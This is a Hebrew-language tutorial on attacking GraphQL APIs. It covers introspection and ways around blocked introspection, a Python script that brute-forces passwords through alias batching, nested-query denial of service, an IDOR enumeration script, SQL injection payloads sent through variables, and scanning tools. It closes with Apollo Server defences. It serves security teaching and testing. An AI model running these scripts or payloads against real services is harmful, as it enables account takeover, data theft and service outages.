תקיפת GraphQL¶
מבוא¶
GraphQL היא שפת שאילתות ל-API שפותחה על ידי Facebook. בניגוד ל-REST, היא מאפשרת ללקוח לבקש בדיוק את הנתונים שהוא צריך. אבל הגמישות הזו יוצרת משטח תקיפה רחב - מחשיפת הסכמה המלאה ועד למתקפות מניעת שירות.
ברמה הבסיסית, GraphQL תומכת בשלושה סוגי פעולות:
- שאילתות - Query - קריאת נתונים
- מוטציות - Mutation - שינוי נתונים
- מנויים - Subscription - עדכונים בזמן אמת
מבנה בסיסי של GraphQL¶
# שאילתה בסיסית
query {
user(id: 1) {
username
email
role
}
}
# מוטציה
mutation {
updateUser(id: 1, role: "admin") {
username
role
}
}
# עם משתנים
query GetUser($id: Int!) {
user(id: $id) {
username
email
}
}
מתקפת Introspection - חשיפת הסכמה¶
Introspection היא תכונה מובנית ב-GraphQL שמאפשרת לשאול את השרת על הסכמה שלו. זו נקודת ההתחלה של כל תקיפה.
שאילתת Introspection מלאה¶
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
kind
}
}
}
}
}
}
שליחה כבקשת HTTP¶
POST /graphql HTTP/1.1
Content-Type: application/json
{
"query": "{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name kind } } args { name type { name kind } } } } } }"
}
חשיפת סוג ספציפי¶
עקיפת Introspection חסומה¶
הרבה אפליקציות חוסמות introspection בסביבת Production. יש מספר דרכים לעקוף:
שיטה 1 - וריאציות של שאילתת __schema¶
# שימוש ב-newline לפני __schema
{
__schema
{queryType{name}}
}
# שימוש ב-fragment
fragment FullType on __Type {
name
kind
fields {
name
}
}
{
__schema {
types {
...FullType
}
}
}
שיטה 2 - הצעות שדות - Field Suggestions¶
כאשר שולחים שאילתה עם שם שדה שגוי, חלק מהשרתים מחזירים הצעות:
# שליחת שאילתה עם שדה לא קיים
{
user {
passwrd # שגיאת כתיב מכוונת
}
}
# התגובה עשויה להכיל:
# "Did you mean 'password'?"
שיטה 3 - שאילתות חלקיות¶
# במקום __schema מלא, לשאול על סוגים ספציפיים
{ __type(name: "Query") { fields { name } } }
{ __type(name: "Mutation") { fields { name } } }
{ __type(name: "User") { fields { name } } }
{ __type(name: "Admin") { fields { name } } }
שיטה 4 - GET במקום POST¶
חלק מהשרתים חוסמים introspection רק בבקשות POST.
מתקפת Batching - שליחת בקשות מרובות¶
GraphQL מאפשר שליחת מספר שאילתות בבקשה אחת. זה מאפשר מתקפות brute force שעוקפות הגבלת קצב:
Brute Force עם Aliases¶
# ניסיון 100 סיסמאות בבקשה אחת
query {
login0: login(username: "admin", password: "password1") { token }
login1: login(username: "admin", password: "password2") { token }
login2: login(username: "admin", password: "password3") { token }
login3: login(username: "admin", password: "123456") { token }
login4: login(username: "admin", password: "admin123") { token }
# ... עוד 95 ניסיונות
}
סקריפט אוטומטי ל-Batching¶
import requests
url = "http://target.com/graphql"
passwords = open("passwords.txt").read().splitlines()
# בניית שאילתה עם aliases
queries = []
for i, pwd in enumerate(passwords):
queries.append(f' attempt{i}: login(username: "admin", password: "{pwd}") {{ token success }}')
batch_query = "query {\n" + "\n".join(queries) + "\n}"
response = requests.post(url, json={"query": batch_query})
data = response.json()["data"]
for key, value in data.items():
if value and value.get("success"):
print(f"[+] Password found: {passwords[int(key.replace('attempt', ''))]}")
break
Batching עם מערך¶
[
{"query": "mutation { login(u: \"admin\", p: \"pass1\") { token } }"},
{"query": "mutation { login(u: \"admin\", p: \"pass2\") { token } }"},
{"query": "mutation { login(u: \"admin\", p: \"pass3\") { token } }"}
]
מתקפת עומק - Nested Query DoS¶
GraphQL מאפשר שאילתות מקוננות שיכולות לגרום לעומס כבד על השרת:
# שאילתה מקוננת שגורמת ל-DoS
query {
users {
friends {
friends {
friends {
friends {
friends {
friends {
username
}
}
}
}
}
}
}
}
כל רמת קינון מגדילה את כמות העבודה באופן אקספוננציאלי.
עקיפת הרשאות - Authorization Bypass¶
גישה לשדות לא מורשים¶
# שאילתה רגילה - מחזירה רק שדות מורשים
query {
me {
username
email
}
}
# ניסיון לגשת לשדות ניהוליים
query {
me {
username
email
role
isAdmin
passwordHash
creditCard
ssn
}
}
גישה למוטציות לא מורשות¶
# מוטציה להעלאת הרשאות
mutation {
updateUser(id: 1, role: "admin") {
username
role
}
}
# מחיקת משתמשים
mutation {
deleteUser(id: 2) {
success
}
}
IDOR ב-GraphQL¶
GraphQL משתמש ב-ID ישירות בשאילתות, מה שמקל על IDOR:
# גישה לפרופיל שלי
query {
user(id: 1) {
username
email
orders {
id
total
}
}
}
# שינוי ה-ID לגישה לנתונים של משתמש אחר
query {
user(id: 2) {
username
email
orders {
id
total
}
}
}
סריקת IDORs אוטומטית¶
import requests
url = "http://target.com/graphql"
headers = {"Authorization": "Bearer USER_TOKEN"}
for user_id in range(1, 100):
query = f"""
query {{
user(id: {user_id}) {{
username
email
role
}}
}}
"""
response = requests.post(url, json={"query": query}, headers=headers)
data = response.json()
if "errors" not in data:
user = data["data"]["user"]
if user:
print(f"[+] User {user_id}: {user['username']} - {user['email']} - {user['role']}")
הזרקה דרך משתנים - Variable Injection¶
# שאילתה עם משתנים
query SearchUsers($filter: String!) {
users(search: $filter) {
username
email
}
}
# אם ה-filter מוכנס ישירות ל-SQL/NoSQL בצד השרת
# Variables:
{
"filter": "admin' OR '1'='1"
}
הזרקת SQL דרך GraphQL¶
# אם ה-resolver בונה שאילתת SQL
mutation {
createUser(
username: "admin' -- ",
password: "anything"
) {
id
}
}
ניצול Aliases לחילוץ מידע¶
# חילוץ מספר רשומות במכה אחת
query {
user1: user(id: 1) { username email role }
user2: user(id: 2) { username email role }
user3: user(id: 3) { username email role }
user4: user(id: 4) { username email role }
user5: user(id: 5) { username email role }
}
כלים לתקיפת GraphQL¶
InQL - הרחבה ל-Burp Suite¶
graphql-cop - סורק חולשות¶
# התקנה
pip install graphql-cop
# סריקה
python graphql-cop.py -t http://target.com/graphql
# בודק:
# - Introspection enabled
# - Field suggestions
# - Batching support
# - Depth limit
# - Debug mode
GraphQL Voyager - ויזואליזציה¶
כלי שמציג את הסכמה באופן ויזואלי, מה שמקל על מציאת קשרים ומשטחי תקיפה.
Clairvoyance - גילוי שדות ללא Introspection¶
# כלי שמגלה שדות דרך field suggestions
python3 clairvoyance.py -u http://target.com/graphql -w wordlist.txt
הגנה מפני תקיפות GraphQL¶
1. ניטרול Introspection בסביבת Production¶
// Apollo Server
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production'
});
2. הגבלת עומק שאילתות¶
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [depthLimit(5)] // מקסימום 5 רמות קינון
});
3. הגבלת קצב¶
const costAnalysis = require('graphql-cost-analysis');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
costAnalysis({
maximumCost: 1000,
defaultCost: 1
})
]
});
4. הרשאות ברמת שדה¶
const resolvers = {
User: {
email: (parent, args, context) => {
// רק המשתמש עצמו או admin יכולים לראות email
if (context.user.id === parent.id || context.user.role === 'admin') {
return parent.email;
}
throw new ForbiddenError('Not authorized');
},
passwordHash: () => {
throw new ForbiddenError('This field is restricted');
}
}
};
5. ניטרול Batching¶
// Apollo Server - הגבלת מספר פעולות בבקשה
const server = new ApolloServer({
typeDefs,
resolvers,
allowBatchedHttpRequests: false
});
6. ניטרול Field Suggestions¶
// Apollo Server v4
const server = new ApolloServer({
typeDefs,
resolvers,
includeStacktraceInErrorResponses: false,
formatError: (error) => {
// הסרת הצעות שדות מהודעות שגיאה
return { message: 'An error occurred' };
}
});
סיכום¶
תקיפת GraphQL דורשת הבנה של המבנה הייחודי שלה. נקודות המפתח:
- Introspection חושפת את כל הסכמה - זו תמיד נקודת ההתחלה
- Aliases מאפשרים batching שעוקף הגבלות קצב
- שאילתות מקוננות יכולות לגרום ל-DoS
- הרשאות חייבות להיות ברמת ה-resolver, לא ברמת הסכמה
- IDOR קל לניצול כי ה-IDs גלויים בשאילתות
- כלים כמו InQL ו-graphql-cop מקלים מאוד על התקיפה